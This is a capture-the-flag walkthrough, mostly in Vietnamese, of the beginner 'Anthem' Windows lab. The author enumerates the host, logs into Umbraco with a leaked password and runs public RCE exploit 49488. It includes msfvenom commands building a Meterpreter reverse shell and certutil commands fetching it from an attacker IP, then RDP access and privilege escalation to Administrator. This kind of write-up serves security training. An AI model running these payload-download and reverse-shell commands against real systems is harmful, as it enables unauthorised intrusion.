Anthem
Exploit a Windows machine in this beginner level challenge.
Initial Reconnaissance
Chúng ta thêm dòng sau vào /etc/hosts để ánh xạ domain name.
10.201.54.179 anthem.thmService Scanning

Với một target chạy Windows, rất có thể có firewall nên chúng ta không thể ping tới target. Do đó, chúng ta cần chỉ định thêm flag -Pn khi chạy Nmap scan.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -sV -sC -v anthem.thm
PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: OPTIONS
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-08-30T14:11:30+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=WIN-LU09299160F
| Issuer: commonName=WIN-LU09299160F
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-29T12:07:56
| Not valid after: 2026-02-28T12:07:56
| MD5: 1c79:45a5:6ccf:b9c2:761f:35ea:8d9d:084f
|_SHA-1: b1fc:007c:2b70:ce9b:4679:0016:62b1:f580:74e9:05f6
| rdp-ntlm-info:
| Target_Name: WIN-LU09299160F
| NetBIOS_Domain_Name: WIN-LU09299160F
| NetBIOS_Computer_Name: WIN-LU09299160F
| DNS_Domain_Name: WIN-LU09299160F
| DNS_Computer_Name: WIN-LU09299160F
| Product_Version: 10.0.17763
|_ System_Time: 2025-08-30T14:10:47+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsTừ kết quả scan, chúng ta thấy target đang chạy Windows với 2 dịch vụ. Port 80 mở chạy HTTP sử dụng Microsoft HTTPAPI httpd 2.0 nhưng chỉ hỗ trợ method OPTIONS. Port 3389 cũng mở cho dịch vụ Microsoft Terminal Services (RDP). Thông tin NTLM cho thấy phiên bản hệ điều hành là Windows 10.0.17763.
HTTP 80
Directory Enumeration
Tiếp theo, chúng ta thực hiện content scan trên website bằng ffuf.
┌──(kali㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://anthem.thm/FUZZ -r -e .txt -fc 403 -t 128
Default Page
Khi truy cập vào một directory bất kỳ mà không tồn tại, chúng ta bị chuyển hướng về trang mặc định.


Tại đây, chúng ta xác định được domain name là ANTHEM.COM.

Chúng ta phát hiện ra có vẻ như là flag thứ hai.
/archive/a-cheers-to-our-it-department/

Bài thơ ở đây nghe có vẻ “nổi tiếng”, có thể chúng ta nên thử tìm kiếm trên Google.

Từ đó, chúng ta xác định được tên Administrator là Solomon Grundy.
/archive/we-are-hiring/

Tác giả của trang này là Jane Doe với email JD@anthem.com. Có thể email của Administrator Solomon Grundy sẽ là SG@anthem.com.
/SiteMap

Không có gì hữu ích tại đây.
/authors

Chúng ta tìm thấy flag thứ ba.
Khi truy cập vào trang của Jane Doe, server trả về một lỗi phía server.

/robots.txt

Chúng ta phát hiện ra một chuỗi trông giống như một password.
Discover All Flags
Vì chúng ta đã tìm được 2 flag trên website đều bằng cách xem mã nguồn, cho nên khá là hợp lý khi chúng ta tải website về một cách đệ quy (nhưng không tải toàn bộ) bằng wget, rồi dùng grep để tìm flag.
┌──(kali㉿kali)-[~/Desktop]
└─$ wget -r http://anthem.thm
Ở đây có tổng cộng 4 flag mà chúng ta cần tìm.
/umbraco Directory Enumeration
Dựa vào lần scan đầu tiên, chúng ta biết website đang chạy Umbraco, một CMS mã nguồn mở dựa trên .NET. Ta thử scan thêm một lượt khác trong thư mục này.
┌──(kali㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://anthem.thm/umbraco/FUZZ -r -fc 403 -t 128
/umbraco/application

Thư mục này chứa code javascripts, nhưng có vẻ không hữu ích với chúng ta.
/umbraco
Khi truy cập, chúng ta bị chuyển hướng đến một trang đăng nhập.

Trong tình huống này, chúng ta luôn nên kiểm tra các thông tin đăng nhập mặc định.


Tuy nhiên, thông tin đăng nhập mặc định không hoạt động. Chúng ta thử dùng mật khẩu đã tìm thấy trước đó trong robots.txt, nhưng vẫn không thành công.

Tiếp đó, chúng ta thử một số username hoặc email khác như: jane, janedoe, doe, JD@anthem.com, solomon, grundy, SG@anthem.com và phát hiện rằng email của Solomon Grundy là tài khoản chính xác.


Chúng ta xác định phiên bản của Umbraco là 7.15.4.
RCE
Lúc này có thể dùng searchsploit để tìm các lỗ hổng public đã được công bố.

Module trong Metasploit yêu cầu phiên bản Umbraco là 4.7.0.378, khá khác so với phiên bản hiện tại mà chúng ta tìm thấy.

Một số lỗ hổng RCE khác tồn tại trên phiên bản 7.12.4 và cần có authentication. Tuy nhiên, vì nó yêu cầu authentication nên vẫn có khả năng hoạt động với phiên bản 7.15.4.
Chúng ta sẽ thử exploit thứ ba 49488 vì nó cho phép truyền các argument.

┌──(kali㉿kali)-[~]
└─$ py /usr/share/exploitdb/exploits/aspx/webapps/49488.py -u SG@anthem.com -p UmbracoIsTheBest! -i http://anthem.thm -c whoami
iis apppool\anthemExploit hoạt động thành công. Chúng ta thử lấy thông tin hệ thống của target:
┌──(kali㉿kali)-[~]
└─$ py /usr/share/exploitdb/exploits/aspx/webapps/49488.py -u SG@anthem.com -p UmbracoIsTheBest! -i http://anthem.thm -c systeminfo
Host Name: WIN-LU09299160F
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-70000-00000-AA015
Original Install Date: 05/04/2020, 09:57:32
System Boot Time: 30/08/2025, 13:06:45
System Manufacturer: Xen
System Model: HVM domU
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2300 Mhz
BIOS Version: Xen 4.11.amazon, 24/08/2006
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-gb;English (United Kingdom)
Input Locale: en-gb;English (United Kingdom)
Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, LondonTarget đang chạy Windows Server 2019 bản 64-bit.
Tiếp theo, chúng ta kiểm tra xem có thể dùng certutil.exe để tải reverse Meterpreter shell payload về target hay không.
┌──(kali㉿kali)-[~]
└─$ py /usr/share/exploitdb/exploits/aspx/webapps/49488.py -u SG@anthem.com -p UmbracoIsTheBest! -i http://anthem.thm -c certutil.exe
CertUtil: -dump command completed successfully.Có vẻ như chúng ta có thể dùng được, vì vậy ta tạo payload bằng msfvenom.
┌──(kali㉿kali)-[~/Desktop]
└─$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.17.21.52 LPORT=4242 --platform windows -a x64 -f exe -o rev.exe
No encoder specified, outputting raw payload
Payload size: 203846 bytes
Final size of exe file: 210432 bytes
Saved as: rev.exe┌──(kali㉿kali)-[~]
└─$ py /usr/share/exploitdb/exploits/aspx/webapps/49488.py -u SG@anthem.com -p UmbracoIsTheBest! -i http://anthem.thm -c "certutil.exe -urlcache -f http://10.17.21.52/rev.exe rev.exe"
Error parsing the XSLT:System.ComponentModel.Win32Exception (0x80004005): The system cannot find the file specified
at System.Diagnostics.Process.StartWithCreateProcess(ProcessStartInfo startInfo)
at System.Xml.Xsl.CompiledQuery.Script18.xml()
at (XmlQueryRuntime {urn:schemas-microsoft-com:xslt-debug}runtime)
at Root(XmlQueryRuntime {urn:schemas-microsoft-com:xslt-debug}runtime)
at System.Xml.Xsl.XmlILCommand.Execute(Object defaultDocument, XmlResolver dataSources, XsltArgumentList argumentList, XmlWriter writer)
at System.Xml.Xsl.XslCompiledTransform.Transform(IXPathNavigable input, XsltArgumentList arguments, TextWriter results)
at umbraco.macro.GetXsltTransformResult(XmlDocument macroXml, XslCompiledTransform xslt, Dictionary`2 parameters)
at umbraco.presentation.umbraco.developer.Xslt.xsltVisualize.visualizeDo_Click(Object sender, EventArgs e)Trong quá trình tạo, chúng ta gặp một số lỗi, có lẽ do cách truyền argument chưa đúng.
┌──(kali㉿kali)-[~]
└─$ py /usr/share/exploitdb/exploits/aspx/webapps/49488.py -u SG@anthem.com -p UmbracoIsTheBest! -i http://anthem.thm -c "certutil.exe" -a "-urlcache -f http://10.17.21.52/rev.exe rev.exe"
usage: exploit.py [-h] -u USER -p PASS -i URL -c CMD [-a ARGS]
exploit.py: error: argument -a/--arguments: expected one argument┌──(kali㉿kali)-[~]
└─$ py /usr/share/exploitdb/exploits/aspx/webapps/49488.py -u SG@anthem.com -p UmbracoIsTheBest! -i http://anthem.thm -c "certutil.exe" --arguments="-urlcache -f http://10.17.21.52/rev.exe rev.exe"
Error parsing the XSLT:System.ComponentModel.Win32Exception (0x80004005): Access is denied
at System.Diagnostics.Process.StartWithCreateProcess(ProcessStartInfo startInfo)
at System.Xml.Xsl.CompiledQuery.Script19.xml()
at (XmlQueryRuntime {urn:schemas-microsoft-com:xslt-debug}runtime)
at Root(XmlQueryRuntime {urn:schemas-microsoft-com:xslt-debug}runtime)
at System.Xml.Xsl.XmlILCommand.Execute(Object defaultDocument, XmlResolver dataSources, XsltArgumentList argumentList, XmlWriter writer)
at System.Xml.Xsl.XslCompiledTransform.Transform(IXPathNavigable input, XsltArgumentList arguments, TextWriter results)
at umbraco.macro.GetXsltTransformResult(XmlDocument macroXml, XslCompiledTransform xslt, Dictionary`2 parameters)
at umbraco.presentation.umbraco.developer.Xslt.xsltVisualize.visualizeDo_Click(Object sender, EventArgs e)Mặc dù cú pháp đã chính xác, nhưng khi tải payload thì bị từ chối truy cập. Lúc này, ta nên thử tải xuống thư mục C:\Windows\Temp.
┌──(kali㉿kali)-[~]
└─$ py /usr/share/exploitdb/exploits/aspx/webapps/49488.py -u SG@anthem.com -p UmbracoIsTheBest! -i http://anthem.thm -c "certutil.exe" --arguments="-urlcache -f http://10.17.21.52/rev.exe C:\\Windows\\Temp\\rev.exe"
Error parsing the XSLT:System.Xml.Xsl.XslLoadException: Unrecognized escape sequence An error occurred at (1,79).
at System.Xml.Xsl.XslCompiledTransform.LoadInternal(Object stylesheet, XsltSettings settings, XmlResolver stylesheetResolver)
at umbraco.macro.CreateXsltTransform(XmlTextReader xslReader, Boolean debugMode)
at umbraco.presentation.umbraco.developer.Xslt.xsltVisualize.visualizeDo_Click(Object sender, EventArgs e)
┌──(kali㉿kali)-[~]
└─$ py /usr/share/exploitdb/exploits/aspx/webapps/49488.py -u SG@anthem.com -p UmbracoIsTheBest! -i http://anthem.thm -c "certutil.exe" --arguments="-urlcache -f http://10.17.21.52/rev.exe C:\Windows\Temp\rev.exe"
Error parsing the XSLT:System.Xml.Xsl.XslLoadException: Unrecognized escape sequence An error occurred at (1,79).
at System.Xml.Xsl.XslCompiledTransform.LoadInternal(Object stylesheet, XsltSettings settings, XmlResolver stylesheetResolver)
at umbraco.macro.CreateXsltTransform(XmlTextReader xslReader, Boolean debugMode)
at umbraco.presentation.umbraco.developer.Xslt.xsltVisualize.visualizeDo_Click(Object sender, EventArgs e)
┌──(kali㉿kali)-[~]
└─$ py /usr/share/exploitdb/exploits/aspx/webapps/49488.py -u SG@anthem.com -p UmbracoIsTheBest! -i http://anthem.thm -c "certutil.exe" --arguments="-urlcache -f http://10.17.21.52/rev.exe C:/Windows/Temp/rev.exe"
Error parsing the XSLT:System.ComponentModel.Win32Exception (0x80004005): Access is denied
at System.Diagnostics.Process.StartWithCreateProcess(ProcessStartInfo startInfo)
at System.Xml.Xsl.CompiledQuery.Script22.xml()
at (XmlQueryRuntime {urn:schemas-microsoft-com:xslt-debug}runtime)
at Root(XmlQueryRuntime {urn:schemas-microsoft-com:xslt-debug}runtime)
at System.Xml.Xsl.XmlILCommand.Execute(Object defaultDocument, XmlResolver dataSources, XsltArgumentList argumentList, XmlWriter writer)
at System.Xml.Xsl.XslCompiledTransform.Transform(IXPathNavigable input, XsltArgumentList arguments, TextWriter results)
at umbraco.macro.GetXsltTransformResult(XmlDocument macroXml, XslCompiledTransform xslt, Dictionary`2 parameters)
at umbraco.presentation.umbraco.developer.Xslt.xsltVisualize.visualizeDo_Click(Object sender, EventArgs e)Sau khi sửa một số lỗi cú pháp, chúng ta vẫn bị từ chối truy cập. Có lẽ chúng ta nên đổi hướng khai thác.
RDP 3389
Ta thử thiết lập một kết nối remote bằng mật khẩu đã tìm thấy trước đó.

Sau khi thử các username khác nhau, chúng ta phát hiện username hợp lệ là sg.
Remote Connection as SG

user.txt
Khi đăng nhập thành công, chúng ta có thể thấy file user.txt tại Desktop.

Tiếp tục, ta bật hiển thị các item ẩn và phát hiện có một file restore.txt trong thư mục backup, nhưng không thể mở được.


Chúng ta kiểm tra owner và quyền truy cập của mình đối với file này. Kết quả cho thấy user SG là owner của file, nhưng lại không có quyền đọc nó.


Chúng ta chỉ cần tự gán quyền đọc file cho mình.

Administrator’s Password Discovery
Khi mở file, chúng ta phát hiện ra có vẻ như đây chính là mật khẩu của Administrator.

Remote Connection as Administrator
Bây giờ, ta log out và thiết lập kết nối remote bằng tài khoản Administrator với mật khẩu vừa tìm thấy.

root.txt
